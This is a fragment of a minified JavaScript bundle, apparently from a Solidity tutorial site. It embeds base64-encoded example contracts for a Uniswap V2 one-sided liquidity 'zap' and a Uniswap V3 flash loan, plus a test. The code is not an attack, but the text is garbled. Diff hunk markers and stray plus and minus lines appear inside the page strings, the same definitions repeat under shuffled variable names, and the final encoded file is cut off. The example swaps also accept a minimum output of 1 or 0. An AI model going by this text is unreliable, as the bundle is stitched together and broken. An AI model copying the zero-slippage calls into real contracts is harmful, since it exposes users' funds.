AgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBiYWxBLCBiYWxCLCAwLCAwLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIsCiAgICAgICAgdWludDI1NiBhbW91bnRBRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEJEZXNpcmVkLAogICAgICAgIHVpbnQyNTYgYW1vdW50QU1pbiwKICAgICAgICB1aW50MjU2IGFtb3VudEJNaW4sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgIHVpbnQyNTYgYW1vdW50SW4sCiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW4sCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyk7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIHRva2VuMCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyk7CgogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKCiAgICBmdW5jdGlvbiBnZXRSZXNlcnZlcygpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDExMiByZXNlcnZlMCwgdWludDExMiByZXNlcnZlMSwgdWludDMyIGJsb2NrVGltZXN0YW1wTGFzdCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],cb=`
                    Optimal One Sided Supply
                    
+`,sb=({prev:s,next:a})=>r.jsx(A,{version:Lm,title:Om,description:Pm,html:qm,prev:s,next:a,codes:$m}),ab="0.8.24",nb="Uniswap V2 Optimal One Sided Supply",lb="Uniswap V2 Optimal One Sided Supply",pb=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgUk9VVEVSID0gMHg3YTI1MGQ1NjMwQjRjRjUzOTczOWRGMkM1ZEFjYjRjNjU5RjI0ODhEOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgLyoKICAgIHMgPSBvcHRpbWFsIHN3YXAgYW1vdW50CiAgICByID0gYW1vdW50IG9mIHJlc2VydmUgZm9yIHRva2VuIGEKICAgIGEgPSBhbW91bnQgb2YgdG9rZW4gYSB0aGUgdXNlciBjdXJyZW50bHkgaGFzIChub3QgYWRkZWQgdG8gcmVzZXJ2ZSB5ZXQpCiAgICBmID0gc3dhcCBmZWUgcGVyY2VudAogICAgcyA9IChzcXJ0KCgoMiAtIGYpcileMiArIDQoMSAtIGYpYXIpIC0gKDIgLSBmKXIpIC8gKDIoMSAtIGYpKQogICAgKi8KICAgIGZ1bmN0aW9uIGdldFN3YXBBbW91bnQodWludDI1NiByLCB1aW50MjU2IGEpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIChzcXJ0KHIgKiAociAqIDM5ODgwMDkgKyBhICogMzk4ODAwMCkpIC0gciAqIDE5OTcpIC8gMTk5NDsKICAgIH0KCiAgICAvKiBPcHRpbWFsIG9uZS1zaWRlZCBzdXBwbHkKICAgIDEuIFN3YXAgb3B0aW1hbCBhbW91bnQgZnJvbSB0b2tlbiBBIHRvIHRva2VuIEIKICAgIDIuIEFkZCBsaXF1aWRpdHkKICAgICovCiAgICBmdW5jdGlvbiB6YXAoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIsIHVpbnQyNTYgX2Ftb3VudEEpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF90b2tlbkEgPT0gV0VUSCB8fCBfdG9rZW5CID09IFdFVEgsICIhd2V0aCIpOwoKICAgICAgICBJRVJDMjAoX3Rva2VuQSkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRBKTsKCiAgICAgICAgYWRkcmVzcyBwYWlyID0gSVVuaXN3YXBWMkZhY3RvcnkoRkFDVE9SWSkuZ2V0UGFpcihfdG9rZW5BLCBfdG9rZW5CKTsKICAgICAgICAodWludDI1NiByZXNlcnZlMCwgdWludDI1NiByZXNlcnZlMSwpID0KICAgICAgICAgICAgSVVuaXN3YXBWMlBhaXIocGFpcikuZ2V0UmVzZXJ2ZXMoKTsKCiAgICAgICAgdWludDI1NiBzd2FwQW1vdW50OwogICAgICAgIGlmIChJVW5pc3dhcFYyUGFpcihwYWlyKS50b2tlbjAoKSA9PSBfdG9rZW5BKSB7CiAgICAgICAgICAgIC8vIHN3YXAgZnJvbSB0b2tlbjAgdG8gdG9rZW4xCiAgICAgICAgICAgIHN3YXBBbW91bnQgPSBnZXRTd2FwQW1vdW50KHJlc2VydmUwLCBfYW1vdW50QSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gc3dhcCBmcm9tIHRva2VuMSB0byB0b2tlbjAKICAgICAgICAgICAgc3dhcEFtb3VudCA9IGdldFN3YXBBbW91bnQocmVzZXJ2ZTEsIF9hbW91bnRBKTsKICAgICAgICB9CgogICAgICAgIF9zd2FwKF90b2tlbkEsIF90b2tlbkIsIHN3YXBBbW91bnQpOwogICAgICAgIF9hZGRMaXF1aWRpdHkoX3Rva2VuQSwgX3Rva2VuQik7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoYWRkcmVzcyBfZnJvbSwgYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkgaW50ZXJuYWwgewogICAgICAgIElFUkMyMChfZnJvbSkuYXBwcm92ZShST1VURVIsIF9hbW91bnQpOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBfZnJvbTsKICAgICAgICBwYXRoWzFdID0gX3RvOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgICAgICBfYW1vdW50LCAxLCBwYXRoLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9hZGRMaXF1aWRpdHkoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIpIGludGVybmFsIHsKICAgICAgICB1aW50MjU2IGJhbEEgPSBJRVJDMjAoX3Rva2VuQSkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsQiA9IElFUkMyMChfdG9rZW5CKS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgSUVSQzIwKF90b2tlbkEpLmFwcHJvdmUoUk9VVEVSLCBiYWxBKTsKICAgICAgICBJRVJDMjAoX3Rva2VuQikuYXBwcm92ZShST1VURVIsIGJhbEIpOwoKICAgICAgICBJVW5pc3dhcFYyUm91dGVyKFJPVVRFUikuYWRkTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBiYWxBLCBiYWxCLCAwLCAwLCBhZGRyZXNzKHRoaXMpLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkoCiAgICAgICAgYWRkcmVzcyB0b2tlbkEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkIsCiAgICAgICAgdWludDI1NiBhbW91bnRBRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEJEZXNpcmVkLAogICAgICAgIHVpbnQyNTYgYW1vdW50QU1pbiwKICAgICAgICB1aW50MjU2IGFtb3VudEJNaW4sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgIHVpbnQyNTYgYW1vdW50SW4sCiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW4sCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyk7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIHRva2VuMCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyk7CgogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKCiAgICBmdW5jdGlvbiBnZXRSZXNlcnZlcygpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDExMiByZXNlcnZlMCwgdWludDExMiByZXNlcnZlMSwgdWludDMyIGJsb2NrVGltZXN0YW1wTGFzdCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],eb=`
                    Optimal One Sided Supply
                    
 
                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6309,7 +6309,7 @@ IERC20 constant PAIR external
         returns (bool);
 }
-
                    `,tb=({prev:s,next:a})=>r.jsx(A,{version:nb,title:lb,description:pb,html:cb,prev:s,next:a,codes:eb}),ob="0.8.24",rb="Uniswap V3 Flash Loan",ib="Uniswap V3 Flash Loan",gb=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoIHsKICAgIHN0cnVjdCBGbGFzaENhbGxiYWNrRGF0YSB7CiAgICAgICAgdWludDI1NiBhbW91bnQwOwogICAgICAgIHVpbnQyNTYgYW1vdW50MTsKICAgICAgICBhZGRyZXNzIGNhbGxlcjsKICAgIH0KCiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGltbXV0YWJsZSBwb29sOwogICAgSUVSQzIwIHByaXZhdGUgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwcml2YXRlIGltbXV0YWJsZSB0b2tlbjE7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfcG9vbCkgewogICAgICAgIHBvb2wgPSBJVW5pc3dhcFYzUG9vbChfcG9vbCk7CiAgICAgICAgdG9rZW4wID0gSUVSQzIwKHBvb2wudG9rZW4wKCkpOwogICAgICAgIHRva2VuMSA9IElFUkMyMChwb29sLnRva2VuMSgpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaCh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgRmxhc2hDYWxsYmFja0RhdGEoewogICAgICAgICAgICAgICAgYW1vdW50MDogYW1vdW50MCwKICAgICAgICAgICAgICAgIGFtb3VudDE6IGFtb3VudDEsCiAgICAgICAgICAgICAgICBjYWxsZXI6IG1zZy5zZW5kZXIKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wpLmZsYXNoKGFkZHJlc3ModGhpcyksIGFtb3VudDAsIGFtb3VudDEsIGRhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuaXN3YXBWM0ZsYXNoQ2FsbGJhY2soCiAgICAgICAgLy8gUG9vbCBmZWUgeCBhbW91bnQgcmVxdWVzdGVkCiAgICAgICAgdWludDI1NiBmZWUwLAogICAgICAgIHVpbnQyNTYgZmVlMSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gYWRkcmVzcyhwb29sKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIEZsYXNoQ2FsbGJhY2tEYXRhIG1lbW9yeSBkZWNvZGVkID0gYWJpLmRlY29kZShkYXRhLCAoRmxhc2hDYWxsYmFja0RhdGEpKTsKCiAgICAgICAgLy8gV3JpdGUgY3VzdG9tIGNvZGUgaGVyZQogICAgICAgIGlmIChmZWUwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXJGcm9tKGRlY29kZWQuY2FsbGVyLCBhZGRyZXNzKHRoaXMpLCBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20oZGVjb2RlZC5jYWxsZXIsIGFkZHJlc3ModGhpcyksIGZlZTEpOwogICAgICAgIH0KCiAgICAgICAgLy8gUmVwYXkgYm9ycm93CiAgICAgICAgaWYgKGZlZTAgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMC50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDAgKyBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDEgKyBmZWUxKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYzUG9vbCB7CiAgICBmdW5jdGlvbiB0b2tlbjAoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpOwogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKICAgIGZ1bmN0aW9uIGZsYXNoKAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50MCwKICAgICAgICB1aW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV3FlashTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC9Vbmlzd2FwVjNGbGFzaC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzRmxhc2hUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICAvLyBEQUkgLyBXRVRIIDAuMyUgZmVlCiAgICBhZGRyZXNzIGNvbnN0YW50IFBPT0wgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CiAgICB1aW50MjQgY29uc3RhbnQgUE9PTF9GRUUgPSAzMDAwOwoKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pOwogICAgYWRkcmVzcyBjb25zdGFudCB1c2VyID0gYWRkcmVzcygxMSk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHVuaSA9IG5ldyBVbmlzd2FwVjNGbGFzaChQT09MKTsKCiAgICAgICAgZGVhbChEQUksIHVzZXIsIDFlNiAqIDFlMTgpOwogICAgICAgIHZtLnByYW5rKHVzZXIpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3ModW5pKSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2goKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgZGFpX2JlZm9yZSA9IGRhaS5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0ucHJhbmsodXNlcik7CiAgICAgICAgdW5pLmZsYXNoKDFlNiAqIDFlMTgsIDApOwogICAgICAgIHVpbnQyNTYgZGFpX2FmdGVyID0gZGFpLmJhbGFuY2VPZih1c2VyKTsKCiAgICAgICAgdWludDI1NiBmZWUgPSBkYWlfYmVmb3JlIC0gZGFpX2FmdGVyOwogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIGZlZSIsIGZlZSk7CiAgICB9Cn0K"}],hb=`
                    Uniswap V3 Flash Loan Example
                    
+
                    `,cb=({prev:s,next:a})=>r.jsx(A,{version:ab,title:nb,description:lb,html:eb,prev:s,next:a,codes:pb}),tb="0.8.24",ob="Uniswap V3 Flash Loan",rb="Uniswap V3 Flash Loan",ib=[{fileName:"UniswapV3Flash.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoIHsKICAgIHN0cnVjdCBGbGFzaENhbGxiYWNrRGF0YSB7CiAgICAgICAgdWludDI1NiBhbW91bnQwOwogICAgICAgIHVpbnQyNTYgYW1vdW50MTsKICAgICAgICBhZGRyZXNzIGNhbGxlcjsKICAgIH0KCiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGltbXV0YWJsZSBwb29sOwogICAgSUVSQzIwIHByaXZhdGUgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwcml2YXRlIGltbXV0YWJsZSB0b2tlbjE7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfcG9vbCkgewogICAgICAgIHBvb2wgPSBJVW5pc3dhcFYzUG9vbChfcG9vbCk7CiAgICAgICAgdG9rZW4wID0gSUVSQzIwKHBvb2wudG9rZW4wKCkpOwogICAgICAgIHRva2VuMSA9IElFUkMyMChwb29sLnRva2VuMSgpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaCh1aW50MjU2IGFtb3VudDAsIHVpbnQyNTYgYW1vdW50MSkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgRmxhc2hDYWxsYmFja0RhdGEoewogICAgICAgICAgICAgICAgYW1vdW50MDogYW1vdW50MCwKICAgICAgICAgICAgICAgIGFtb3VudDE6IGFtb3VudDEsCiAgICAgICAgICAgICAgICBjYWxsZXI6IG1zZy5zZW5kZXIKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wpLmZsYXNoKGFkZHJlc3ModGhpcyksIGFtb3VudDAsIGFtb3VudDEsIGRhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuaXN3YXBWM0ZsYXNoQ2FsbGJhY2soCiAgICAgICAgLy8gUG9vbCBmZWUgeCBhbW91bnQgcmVxdWVzdGVkCiAgICAgICAgdWludDI1NiBmZWUwLAogICAgICAgIHVpbnQyNTYgZmVlMSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gYWRkcmVzcyhwb29sKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIEZsYXNoQ2FsbGJhY2tEYXRhIG1lbW9yeSBkZWNvZGVkID0gYWJpLmRlY29kZShkYXRhLCAoRmxhc2hDYWxsYmFja0RhdGEpKTsKCiAgICAgICAgLy8gV3JpdGUgY3VzdG9tIGNvZGUgaGVyZQogICAgICAgIGlmIChmZWUwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXJGcm9tKGRlY29kZWQuY2FsbGVyLCBhZGRyZXNzKHRoaXMpLCBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20oZGVjb2RlZC5jYWxsZXIsIGFkZHJlc3ModGhpcyksIGZlZTEpOwogICAgICAgIH0KCiAgICAgICAgLy8gUmVwYXkgYm9ycm93CiAgICAgICAgaWYgKGZlZTAgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMC50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDAgKyBmZWUwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZlZTEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDEgKyBmZWUxKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYzUG9vbCB7CiAgICBmdW5jdGlvbiB0b2tlbjAoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpOwogICAgZnVuY3Rpb24gdG9rZW4xKCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKTsKICAgIGZ1bmN0aW9uIGZsYXNoKAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQyNTYgYW1vdW50MCwKICAgICAgICB1aW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpc